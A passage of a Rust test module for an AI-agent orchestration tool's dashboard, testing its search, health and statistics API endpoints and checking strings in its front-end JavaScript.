14971 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
14972
14973 let bound = std::sync::Mutex::new(None);
14988 hand_over(
14989 home.path(),
14990 &looping,
14991 &turns,
14992 &|_: &[String]| Duration::from_secs(5),
14993 served,
14994 |_| {
14995 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
14996 let attempt = loop {
14997 match std::net::TcpListener::bind(addr) {
14998 Ok(l) => {
14999 drop(l);
15000 break Ok(());
15001 }
15002 Err(e)
15003 if e.kind() == std::io::ErrorKind::AddrInUse
15004 && std::time::Instant::now() < deadline =>
15005 {
15006 std::thread::sleep(std::time::Duration::from_millis(10));
15007 }
15008 Err(e) => break Err(e.to_string()),
15009 }
15010 };
15011 *bound.lock().expect("bound") = Some(attempt);
15012 Ok(1)
15013 },
15014 )
15015 .await
15016 .expect("hand over");
15017
15018 assert_eq!(
15019 *PARK_HEARD.lock().expect("park heard"),
15020 Some(200),
15021 "the deck must answer while the loop is parking"
15022 );
15023 let attempt = bound
15024 .lock()
15025 .expect("bound")
15026 .take()
15027 .expect("the successor was started");
15028 assert!(
15029 attempt.is_ok(),
15030 "and the address must be free by the time it is: {attempt:?}"
15031 );
15032 }
15033
15034 #[tokio::test]
15035 async fn a_newer_daemon_status_file_still_renders() {
15036 let f = Fixture::start().await;
15037 std::fs::write(
15040 f.home.path().join("daemon.json"),
15041 serde_json::json!({
15042 "schema": 2,
15043 "updated_at": Timestamp::now().to_string(),
15044 "idle": true,
15045 "surprise": { "nested": [1, 2, 3] },
15046 })
15047 .to_string(),
15048 )
15049 .expect("write daemon.json");
15050
15051 let health = f.get("/api/health").await;
15052
15053 assert_eq!(health.status, 200);
15054 assert_eq!(health.json()["daemon"]["running"], true);
15055 }
15056
15057 #[tokio::test]
15058 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
15059 let f = Fixture::start().await;
15060 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
15061 let broken = f.runs().join("20260902-140502-bad");
15062 std::fs::create_dir_all(&broken).expect("run dir");
15063 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
15064
15065 let list = f.get("/api/runs").await;
15066 let detail = f.get("/api/runs/20260902-140502-bad").await;
15067
15068 assert_eq!(list.status, 200);
15069 let listed = list.json();
15070 let ids: Vec<&str> = listed
15071 .as_array()
15072 .expect("an array")
15073 .iter()
15074 .map(|r| r["id"].as_str().expect("an id"))
15075 .collect();
15076 assert_eq!(
15077 ids,
15078 vec!["20260902-140501-good"],
15079 "one unreadable run must not cost the operator the whole history"
15080 );
15081 assert_eq!(detail.status, 500);
15082 assert!(
15083 detail.json()["error"]
15084 .as_str()
15085 .is_some_and(|e| e.contains("run.json")),
15086 "the failure names the file to look at: {}",
15087 detail.body
15088 );
15089 let health = f.get("/api/health").await;
15093 assert_eq!(health.json()["runs_unreadable"], 1);
15094 }
15095
15096 #[tokio::test]
15098 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
15099 let f = Fixture::start().await;
15100 let runs = f.runs();
15101 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
15102 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
15103 let path = runs.join("20260902-140502-bbbb").join("run.json");
15106 let mut v: serde_json::Value =
15107 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
15108 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
15109 std::fs::write(&path, v.to_string()).unwrap();
15110 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
15111 std::fs::write(
15112 runs.join("20260902-140503-cccc").join("run.json"),
15113 "{ not json",
15114 )
15115 .unwrap();
15116
15117 let res = f.get("/api/search?scope=runs&q=quokka").await;
15118 assert_eq!(res.status, 200, "{}", res.body);
15119 let v = res.json();
15120 assert_eq!(v["total"], 1, "{v}");
15121 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
15122 assert_eq!(v["hits"][0]["field"], "text");
15123 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
15124 let parts = v["hits"][0]["snippet"].as_array().unwrap();
15125 assert!(
15126 parts
15127 .iter()
15128 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
15129 "{v}"
15130 );
15131 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
15132 assert_eq!(
15133 flat, "The Quokka leaks across threads",
15134 "whitespace is collapsed"
15135 );
15136
15137 let both = f
15139 .get("/api/search?scope=runs&q=MOBILE%20quokka")
15140 .await
15141 .json();
15142 assert_eq!(both["total"], 1, "{both}");
15143 let neither = f
15144 .get("/api/search?scope=runs&q=quokka%20zebra")
15145 .await
15146 .json();
15147 assert_eq!(neither["total"], 0, "{neither}");
15148 let stmt = f
15150 .get("/api/search?scope=runs&q=mobile%20first")
15151 .await
15152 .json();
15153 assert_eq!(stmt["total"], 2, "{stmt}");
15154 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
15155 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
15156 }
15157
15158 #[test]
15159 fn snippet_ignores_terms_longer_than_the_field() {
15160 let terms = ["ok".to_owned(), "elephant".to_owned()];
15161 let parts = snippet_of("ok", &terms);
15162 assert_eq!(
15163 parts,
15164 vec![SnippetPart {
15165 text: "ok".to_owned(),
15166 hit: true
15167 }]
15168 );
15169 }
15170
15171 #[test]
15172 fn snippet_marks_matches_longer_than_the_window() {
15173 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
15174 let hit_len = |parts: &[SnippetPart]| -> usize {
15175 parts
15176 .iter()
15177 .filter(|p| p.hit)
15178 .map(|p| p.text.chars().count())
15179 .sum()
15180 };
15181 let total =
15182 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
15183
15184 let long = "a".repeat(120);
15185 let parts = snippet_of(&long, std::slice::from_ref(&long));
15186 assert!(hit_len(&parts) > 0, "{parts:?}");
15187 assert!(total(&parts) <= cap);
15188
15189 let ja = "あ".repeat(130);
15190 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
15191 assert!(hit_len(&parts) > 0, "{parts:?}");
15192 assert!(total(&parts) <= cap);
15193
15194 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
15196 let term = format!("ab{}", "c".repeat(100));
15197 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
15198 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
15199 assert!(total(&parts) <= cap);
15200
15201 let text = format!("{}z", "a".repeat(119));
15203 let parts = snippet_of(&text, &["a".repeat(120)]);
15204 assert_eq!(hit_len(&parts), 0, "{parts:?}");
15205 }
15206
15207 #[tokio::test]
15208 async fn search_caps_hits_and_snippet_length() {
15209 let f = Fixture::start().await;
15210 let runs = f.runs();
15211 for n in 0..(SEARCH_MAX_HITS + 5) {
15212 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
15213 }
15214 let v = f.get("/api/search?scope=runs&q=web").await.json();
15215 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
15216 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
15217 assert_eq!(v["truncated"], true);
15218 assert!(
15220 v["hits"]
15221 .as_array()
15222 .unwrap()
15223 .iter()
15224 .all(|h| h["run"]["status"] == "merged")
15225 );
15226
15227 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
15228 let parts = snippet_of(&long, &["needle".to_owned()]);
15229 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
15230 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
15231 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
15232 }
15233
15234 #[tokio::test]
15235 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
15236 let f = Fixture::start().await;
15237 let queue = f.queue();
15238 let mut t = Task::new(
15239 "short title".to_owned(),
15240 "line one\nthe hidden Armadillo detail".to_owned(),
15241 PathBuf::from("/repo/magi"),
15242 Source::Agent {
15243 run: "r1".to_owned(),
15244 node: "chat".to_owned(),
15245 },
15246 );
15247 t.last_error = Some("disk full on /tmp".to_owned());
15248 queue.put(&mut t).expect("file the task");
15249
15250 for (q, want) in [
15251 ("armadillo", 1),
15252 ("disk%20FULL", 1),
15253 ("chat", 1),
15254 ("queued", 1),
15255 ("short%20nothing", 0),
15256 ] {
15257 let v = f
15258 .get(&format!("/api/search?scope=tasks&q={q}"))
15259 .await
15260 .json();
15261 assert_eq!(v["total"], want, "{q}: {v}");
15262 }
15263 for bad in [
15264 "/api/search?scope=tasks&q=",
15265 "/api/search?scope=tasks&q=%20",
15266 "/api/search?scope=chats&q=",
15267 "/api/search?scope=chats&q=%20",
15268 "/api/search?scope=nope&q=a",
15269 "/api/search?q=a",
15270 ] {
15271 assert_eq!(f.get(bad).await.status, 400, "{bad}");
15272 }
15273 }
15274
15275 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
15277 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
15278 .expect("seat value");
15279 let turns: Vec<serde_json::Value> = turns
15280 .iter()
15281 .map(|(who, body)| {
15282 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
15283 })
15284 .collect();
15285 let doc = serde_json::json!({
15286 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
15287 "status": status, "turns": turns,
15288 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
15289 "seat": seat,
15290 });
15291 let dir = f.home.path().join("talks");
15292 std::fs::create_dir_all(&dir).expect("talks dir");
15293 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
15294 }
15295
15296 #[tokio::test]
15297 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
15298 let f = Fixture::start().await;
15299 write_talk(
15300 &f,
15301 "20260901-000001-aaaa",
15302 "open",
15303 &[
15304 (
15305 "operator",
15306 "\n Why does the Pangolin cache expire?\nsecond line",
15307 ),
15308 ("agent", "Because the TTL is thirty seconds."),
15309 ],
15310 );
15311 write_talk(
15312 &f,
15313 "20260901-000002-bbbb",
15314 "closed",
15315 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
15316 );
15317 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
15318
15319 let search = |q: &'static str| {
15320 let f = &f;
15321 async move {
15322 f.get(&format!("/api/search?scope=chats&q={q}"))
15323 .await
15324 .json()
15325 }
15326 };
15327
15328 let v = search("PANGOLIN").await;
15329 assert_eq!(v["scope"], "chats");
15330 assert_eq!(v["total"], 1, "{v}");
15331 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
15332 assert_eq!(v["hits"][0]["field"], "title");
15333 assert_eq!(v["unreadable"], 1, "{v}");
15334 let marked: Vec<&str> = v["hits"][0]["snippet"]
15335 .as_array()
15336 .unwrap()
15337 .iter()
15338 .filter(|p| p["hit"] == true)
15339 .map(|p| p["text"].as_str().unwrap())
15340 .collect();
15341 assert_eq!(marked, ["Pangolin"]);
15342
15343 let v = search("zebra").await;
15345 assert_eq!(v["total"], 1, "{v}");
15346 assert_eq!(v["hits"][0]["field"], "agent");
15347 assert_eq!(search("pangolin%20thirty").await["total"], 1);
15349 assert_eq!(search("pangolin%20zebra").await["total"], 0);
15350 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
15352 assert_eq!(search(q).await["total"], 0, "{q}");
15353 }
15354 assert_eq!(search("second").await["hits"][0]["field"], "operator");
15356 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
15358
15359 let v = f.get("/api/search?scope=nope&q=a").await;
15360 assert_eq!(v.status, 400);
15361 assert!(
15362 v.body.contains("scope must be runs, tasks or chats"),
15363 "{}",
15364 v.body
15365 );
15366 }
15367
15368 #[test]
15369 fn a_question_card_links_a_task_id_to_the_task_page() {
15370 let start = APP_JS
15371 .find("function updateAskCard(")
15372 .expect("updateAskCard exists");
15373 let body = &APP_JS[start..];
15374 let body = &body[..body.find("\n}\n").expect("function end")];
15375 assert!(body.contains("question.run_is_task"));
15376 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
15377 assert!(body.contains("`#/runs/${question.run}`"));
15378 assert!(body.contains("\"task\" : \"run\""));
15379 }
15380
15381 #[test]
15382 fn plain_text_message_surfaces_go_through_linkify() {
15383 assert!(APP_JS.contains("function linkify("));
15384 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
15385 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
15386 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
15387 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
15388 assert!(!APP_JS.contains("innerHTML = text"));
15389 }
15390
15391 #[test]
15392 fn implementation_rate_views_keep_independent_samples() {
15393 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
15394 let a = stats::AgentStats {
15395 competitive_entered: competitive_n,
15396 competitive_wins: usize::from(competitive_n > 0),
15397 solo_entered: solo_n,
15398 solo_adopted: 2 * usize::from(solo_n > 0),
15399 ..Default::default()
15400 };
15401 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
15402 for (key, n, numerator) in [
15403 ("competitive_win_rate", competitive_n, a.competitive_wins),
15404 ("solo_adoption_rate", solo_n, a.solo_adopted),
15405 ] {
15406 if n == 0 {
15407 assert!(v[key].is_null());
15408 } else {
15409 assert_eq!(v[key]["denominator"], n);
15410 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
15411 }
15412 }
15413 }
15414 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
15415 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
15416 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
15417 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
15418 }
15419
15420 #[test]
15421 fn stats_bars_share_one_id_keyed_plan() {
15422 let start = APP_JS
15423 .find("function statsBarRows(")
15424 .expect("statsBarRows exists");
15425 let body = &APP_JS[start..];
15426 let body = &body[..body.find("\n}\n").expect("function end")];
15427 assert!(body.contains("statsBarPlan(rows)"));
15428 assert!(body.contains("statsAgentTone(row.agent)"));
15429 assert!(!body.contains("candTone(i)"));
15430 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
15431 for root in [
15432 "stats-agents-bars",
15433 "stats-solo-bars",
15434 "stats-reviewers-bars",
15435 ] {
15436 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
15437 }
15438 }
15439
15440 #[test]
15441 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
15442 let start = APP_JS
15443 .find("function renderStatsReviewerScatter(")
15444 .expect("renderStatsReviewerScatter exists");
15445 let body = &APP_JS[start..];
15446 let body = &body[..body.find("\n}\n").expect("function end")];
15447 assert!(body.contains("statsScatterPlan(reviewers)"));
15448 assert!(body.contains("statsAgentTone(d.agent)"));
15449 assert!(APP_JS.contains("function statsScatterPlan("));
15450 assert!(
15451 APP_JS.contains("d.submitted < STATS_LOW_N")
15452 || APP_JS.contains("r.submitted < STATS_LOW_N")
15453 );
15454 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
15455 assert!(APP_CSS.contains(".precision-scatter"));
15456 }
15457
15458 #[test]
15459 fn advisor_reflection_is_drawn_as_stacked_segments() {
15460 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
15461 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
15462 let html = include_str!("../assets/ui/index.html");
15463 assert!(html.contains("Approximate"));
15464 for label in ["reflected strongly", "faint", "no proposal"] {
15465 assert!(html.contains(label));
15466 }
15467 let css = include_str!("../assets/ui/app.css");
15468 for c in ["refl-strong", "refl-faint", "refl-absent"] {
15469 assert!(css.contains(&format!(".{c} {{")));
15470 }
15471 }
15472
15473 #[test]
15474 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
15475 assert!(APP_JS.contains("function statsDailyPlan("));
15476 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
15477 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
15478 }
15479
15480 #[test]
15481 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
15482 let start = APP_JS
15483 .find("function scheduleSearch(")
15484 .expect("scheduleSearch exists");
15485 let body = &APP_JS[start..];
15486 let body = &body[..body.find("\n}\n").expect("function end")];
15487 assert!(body.contains("s.seq += 1"));
15488 }
15489
15490 #[tokio::test]
15495 async fn stats_runs_unreadable_matches_health() {
15496 let f = Fixture::start().await;
15497 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
15498 let broken = f.runs().join("20260902-140502-bad");
15499 std::fs::create_dir_all(&broken).expect("run dir");
15500 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
15501
15502 let stats = f.get("/api/stats").await;
15503 let health = f.get("/api/health").await;
15504
15505 assert_eq!(stats.status, 200);
15506 assert_eq!(stats.json()["totals"]["runs"], 1);
15507 assert_eq!(stats.json()["runs_unreadable"], 1);
15508 assert_eq!(
15509 stats.json()["runs_unreadable"],
15510 health.json()["runs_unreadable"],
15511 "the dashboard and /api/health must never disagree about how many \
15512 runs could not be read"
15513 );
15514 }
15515
15516 #[tokio::test]
15517 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
15518 let f = Fixture::start().await;
15519 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
15520 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
15521 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
15522
15523 let totals = &f.get("/api/stats").await.json()["totals"];
15524 assert_eq!(totals["runs"], 3);
15525 assert_eq!(totals["merged"], 1);
15526 assert_eq!(totals["stalled"], 1);
15527 assert_eq!(totals["in_progress"], 1);
15528 assert_eq!(totals["blocked"], 0);
15531 assert_eq!(totals["ready"], 0);
15532 }
15533
15534 #[tokio::test]
15535 async fn stats_advisors_report_proposals_and_reflection() {
15536 use crate::advise::{Advice, AdvisorRecord, Reflection};
15537 use crate::verdict::Proposal;
15538
15539 let f = Fixture::start().await;
15540 let mut state = RunState::new(
15541 PathBuf::from("/repo/magi"),
15542 "main".to_owned(),
15543 "0123456789abcdef".to_owned(),
15544 "task".to_owned(),
15545 Config::default(),
15546 );
15547 state.id = "20260902-140501-a".to_owned();
15548 state.status = RunStatus::Merged;
15549 state.advice = Some(Advice {
15550 records: vec![
15551 AdvisorRecord {
15552 seat: "advisor-1".to_owned(),
15553 agent: "alpha".to_owned(),
15554 proposal: Some(Proposal {
15555 approach: "do it".to_owned(),
15556 key_tradeoff: "speed over memory".to_owned(),
15557 risks: Vec::new(),
15558 touches: Vec::new(),
15559 why_not_naive: "breaks under load".to_owned(),
15560 }),
15561 error: None,
15562 duration_ms: 0,
15563 reflection: Reflection::Strong,
15564 },
15565 AdvisorRecord {
15566 seat: "advisor-2".to_owned(),
15567 agent: "alpha".to_owned(),
15568 proposal: None,
15569 error: Some("timed out".to_owned()),
15570 duration_ms: 0,
15571 reflection: Reflection::Absent,
15572 },
15573 ],
15574 synthesis: Some("blended brief".to_owned()),
15575 });
15576 let dir = f.runs().join(&state.id);
15577 std::fs::create_dir_all(&dir).expect("run dir");
15578 std::fs::write(
15579 dir.join("run.json"),
15580 serde_json::to_string_pretty(&state).expect("serialize run"),
15581 )
15582 .expect("write run.json");
15583
15584 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
15586 let alpha = advisors
15587 .as_array()
15588 .expect("an array")
15589 .iter()
15590 .find(|a| a["agent"] == "alpha")
15591 .expect("alpha row");
15592 assert_eq!(alpha["seated"], 2);
15593 assert_eq!(alpha["proposed"], 1);
15594 assert_eq!(alpha["absent"], 1);
15595 assert_eq!(alpha["strong"], 1);
15596 assert_eq!(alpha["faint"], 0);
15597 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
15598 }
15599
15600 #[tokio::test]
15601 async fn stats_hides_agents_outside_the_roster_unless_all() {
15602 use crate::run::Candidate;
15603 let repo = TempDir::new().expect("repo dir");
15604 std::fs::write(
15605 repo.path().join("magi.toml"),
15606 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
15607 )
15608 .expect("magi.toml");
15609 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
15610 let mut state = RunState::new(
15611 PathBuf::from("/repo/magi"),
15612 "main".to_owned(),
15613 "0123456789abcdef".to_owned(),
15614 "task".to_owned(),
15615 Config::default(),
15616 );
15617 state.id = "20260902-140501-a".to_owned();
15618 state.status = RunStatus::Merged;
15619 for (label, agent) in [('A', "keep"), ('B', "retired")] {
15620 let mut c: Candidate = serde_json::from_value(serde_json::json!({
15621 "index": 0, "label": label.to_string(), "agent": agent,
15622 "branch": "b", "worktree": "/w",
15623 }))
15624 .expect("candidate");
15625 c.label = label;
15626 state.candidates.push(c);
15627 }
15628 let dir = f.runs().join(&state.id);
15629 std::fs::create_dir_all(&dir).expect("run dir");
15630 std::fs::write(
15631 dir.join("run.json"),
15632 serde_json::to_string_pretty(&state).expect("serialize run"),
15633 )
15634 .expect("write run.json");
15635
15636 let agents_of = |v: &serde_json::Value| -> Vec<String> {
15637 v["agents"]
15638 .as_array()
15639 .expect("array")
15640 .iter()
15641 .map(|a| a["agent"].as_str().unwrap().to_owned())
15642 .collect()
15643 };
15644 let hidden = f.get("/api/stats").await.json();
15645 assert_eq!(agents_of(&hidden), ["keep"]);
15646 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
15647 assert_eq!(hidden["totals"]["runs"], 1);
15648
15649 let all = f.get("/api/stats?all=true").await.json();
15650 assert_eq!(agents_of(&all).len(), 2);
15651 assert_eq!(all["retired_hidden"], serde_json::json!([]));
15652 let keep_agent = all["agents"]
15654 .as_array()
15655 .unwrap()
15656 .iter()
15657 .find(|a| a["agent"] == "keep")
15658 .unwrap();
15659 assert_eq!(keep_agent["competitive_entered"], 1);
15660 assert_eq!(keep_agent["competitive_wins"], 0);
15661 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
15662 assert_eq!(keep_agent["solo_entered"], 0);
15663 assert_eq!(keep_agent["solo_adopted"], 0);
15664 assert!(keep_agent["solo_adoption_rate"].is_null());
15665 }
15666
15667 #[tokio::test]
15668 async fn stats_release_bumps_split_clean_from_attention() {
15669 use crate::run::ReleaseBump;
15670
15671 let f = Fixture::start().await;
15672
15673 let mut clean = RunState::new(
15674 PathBuf::from("/repo/magi"),
15675 "main".to_owned(),
15676 "0123456789abcdef".to_owned(),
15677 "task".to_owned(),
15678 Config::default(),
15679 );
15680 clean.id = "20260902-140501-a".to_owned();
15681 clean.status = RunStatus::Merged;
15682 clean.release_bump = Some(ReleaseBump {
15683 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
15684 version: Some("1.0.0".to_owned()),
15685 automerge_enabled: true,
15686 merged_directly: false,
15687 local: false,
15688 release: None,
15689 problem: None,
15690 action_required: None,
15691 });
15692
15693 let mut blocked = RunState::new(
15694 PathBuf::from("/repo/magi"),
15695 "main".to_owned(),
15696 "0123456789abcdef".to_owned(),
15697 "task".to_owned(),
15698 Config::default(),
15699 );
15700 blocked.id = "20260902-140502-b".to_owned();
15701 blocked.status = RunStatus::Merged;
15702 blocked.release_bump = Some(ReleaseBump {
15703 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
15704 version: Some("1.0.1".to_owned()),
15705 automerge_enabled: false,
15706 merged_directly: false,
15707 local: false,
15708 release: None,
15709 problem: Some("checks red".to_owned()),
15710 action_required: Some("look at the PR".to_owned()),
15711 });
15712
15713 for state in [&clean, &blocked] {
15714 let dir = f.runs().join(&state.id);
15715 std::fs::create_dir_all(&dir).expect("run dir");
15716 std::fs::write(
15717 dir.join("run.json"),
15718 serde_json::to_string_pretty(state).expect("serialize run"),
15719 )
15720 .expect("write run.json");
15721 }
15722
15723 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
15724 assert_eq!(bumps["merged"], 2);
15725 assert_eq!(bumps["recorded"], 2);
15726 assert_eq!(bumps["pr_opened"], 2);
15727 assert_eq!(bumps["automerge_enabled"], 1);
15728 assert_eq!(bumps["needs_attention"], 1);
15729 assert_eq!(bumps["clean"], 1);
15730 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
15731 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
15732 }
15733
15734 #[tokio::test]
15735 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
15736 let f = Fixture::start().await;
15737 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
15738
15739 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
15740 assert_eq!(bumps["merged"], 1);
15741 assert_eq!(bumps["recorded"], 0);
15742 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
15745 assert_eq!(bumps["automerge_rate"], Value::Null);
15748 assert_eq!(bumps["attention_rate"], Value::Null);
15749 }
15750
15751 #[tokio::test]
15752 async fn stats_queue_counts_come_from_the_live_queue() {
15753 let f = Fixture::start().await;
15754 let q = f.queue();
15755 let mut queued = Task::new(
15756 "queued task".to_owned(),
15757 "do it".to_owned(),
15758 PathBuf::from("/repo"),
15759 Source::Human,
15760 );
15761 q.put(&mut queued).expect("put queued");
15762 let mut held = Task::new(
15763 "held task".to_owned(),
15764 "do it later".to_owned(),
15765 PathBuf::from("/repo"),
15766 Source::Human,
15767 );
15768 held.hold_machine(Some("out of attempts".to_owned()));
15769 q.put(&mut held).expect("put held");
15770
15771 let queue = f.get("/api/stats").await.json()["queue"].clone();
15772 assert_eq!(queue["queued"], 1);
15773 assert_eq!(queue["held"], 1);
15774 assert_eq!(queue["running"], 0);
15775 assert_eq!(queue["done"], 0);
15776 assert_eq!(queue["failed"], 0);
15777 assert_eq!(queue["blocked"], 0);
15778 }
15779
15780 #[tokio::test]
15781 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
15782 let f = Fixture::start().await;
15783 let stats = f.get("/api/stats").await;
15784 assert_eq!(stats.status, 200);
15785 assert_eq!(stats.json()["totals"]["runs"], 0);
15786 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
15787 assert_eq!(stats.json()["runs_unreadable"], 0);
15788 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
15789 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
15790 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
15791 assert_eq!(stats.json()["repo"], Value::Null);
15792 }
15793
15794 #[tokio::test]
15795 async fn stats_lists_every_repository_with_runs_recorded() {
15796 let f = Fixture::start().await;
15797 write_run_repo(
15798 &f.runs(),
15799 "20260902-140501-a",
15800 RunStatus::Merged,
15801 "/repos/a",
15802 );
15803 write_run_repo(
15804 &f.runs(),
15805 "20260902-140502-b",
15806 RunStatus::Merged,
15807 "/repos/a",
15808 );
15809 write_run_repo(
15810 &f.runs(),
15811 "20260902-140503-c",
15812 RunStatus::Blocked,
15813 "/repos/b",
15814 );
15815
15816 let stats = f.get("/api/stats").await;
15817 assert_eq!(stats.status, 200);
15818 assert_eq!(stats.json()["totals"]["runs"], 3);
15820 assert_eq!(stats.json()["repo"], Value::Null);
15821
15822 let repos = stats.json()["repos"].clone();
15823 let repos = repos.as_array().unwrap();
15824 assert_eq!(repos.len(), 2);
15825 assert_eq!(repos[0]["repo"], "/repos/a");
15827 assert_eq!(repos[0]["name"], "a");
15828 assert_eq!(repos[0]["runs"], 2);
15829 assert_eq!(repos[1]["repo"], "/repos/b");
15830 assert_eq!(repos[1]["runs"], 1);
15831 }
15832
15833 #[tokio::test]
15834 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
15835 let f = Fixture::start().await;
15836 write_run_repo(
15837 &f.runs(),
15838 "20260902-140501-a",
15839 RunStatus::Merged,
15840 "/repos/a",
15841 );
15842 write_run_repo(
15843 &f.runs(),
15844 "20260902-140502-b",
15845 RunStatus::Blocked,
15846 "/repos/b",
15847 );
15848
15849 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
15850 assert_eq!(stats.status, 200);
15851 assert_eq!(stats.json()["totals"]["runs"], 1);
15852 assert_eq!(stats.json()["totals"]["merged"], 1);
15853 assert_eq!(stats.json()["repo"], "/repos/a");
15854 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
15857 assert_eq!(stats.json()["runs_unreadable"], 0);
15860 }
15861
15862 #[tokio::test]
15863 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
15864 let f = Fixture::start().await;
15865 write_run_repo(
15866 &f.runs(),
15867 "20260902-140501-a",
15868 RunStatus::Merged,
15869 "/repos/a",
15870 );
15871 write_run_repo(
15872 &f.runs(),
15873 "20260902-140502-b",
15874 RunStatus::Merged,
15875 "/repos/b",
15876 );
15877
15878 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
15879 let json = f.get(uri).await.json();
15880 let daily = json["daily"].as_array().expect("daily is an array");
15881 assert_eq!(daily.len(), 30);
15882 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
15883 let mut sorted = dates.clone();
15884 sorted.sort();
15885 assert_eq!(dates, sorted);
15886 for d in daily {
15887 assert_eq!(
15888 d["merged"].as_u64().unwrap()
15889 + d["ready"].as_u64().unwrap()
15890 + d["other"].as_u64().unwrap(),
15891 d["runs"].as_u64().unwrap()
15892 );
15893 }
15894 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
15895 }
15896 }
15897
15898 #[tokio::test]
